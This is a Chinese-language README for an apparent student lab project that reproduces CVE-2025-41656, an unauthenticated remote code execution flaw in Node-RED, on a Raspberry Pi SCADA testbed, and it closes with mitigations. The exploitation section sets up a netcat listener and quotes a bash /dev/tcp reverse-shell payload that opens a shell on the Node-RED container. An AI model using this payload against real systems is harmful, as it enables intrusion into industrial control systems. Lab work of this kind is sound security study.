CVE-2025-41656

项目总结

本项目旨在模拟CVE-2025-41656——一个针对 NodeRED 的未认证远程代码执行漏洞。为此，我们创建了一个小型 SCADA 系统，包含树莓派、执行器和传感器。树莓派中运行着 NodeRED 和 OpenPLC 容器，两者通过 Modbus TCP 通信以控制执行器。此 Python 概念验证脚本用于执行 CVE-2025-41656 攻击。目标是成功构建 PoC 并找到加固系统安全的修复措施。

入门指南

实验环境将包含以下组件

• 树莓派 3b+
• 包含 NodeRED 和 OpenPLC 容器的 Docker Compose 文件
• 一个执行器
• 一个传感器
• 一个由执行器控制的电动装置
• 注意：具体设置将根据你拥有的硬件而有所不同，请相应调整。

软件安装

git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git

Docker 设置

rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d

• 确认 Docker 容器和网络桥接已启动并运行

docker container ls
docker network inspect csci587-final-project_scadanet

• 两个 Docker 容器应均已启动。
• 同时确保两个容器已连接至网络并分配了 IP 地址。

漏洞利用

• 在宿主机上运行 nc -lvnp 1234
• 在 cve_2025_41656.py 中将 NODE_RED_IP 和 NODE_RED_PORT 替换为你的 NodeRED 服务的 IP 地址和端口（1880）。
• 在 cve_2025_41656 中，将以下行中的 IP 地址 192.168.4.223 替换为你发起漏洞利用的机器的 IP 地址："command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'",

python3 cve_2025_41656.py

• 你现在应该已经获得了 NodeRED 容器上的反向 Shell。

缓解策略

• 为 NodeRED 实现 TLS 和认证机制。
• 对 SCADA 网络进行分段，以防止对 NodeRED 的未授权访问。
• 使用 IDS/IPS 系统监控包含 NodeRED 的网络，以检测反向 Shell 流量。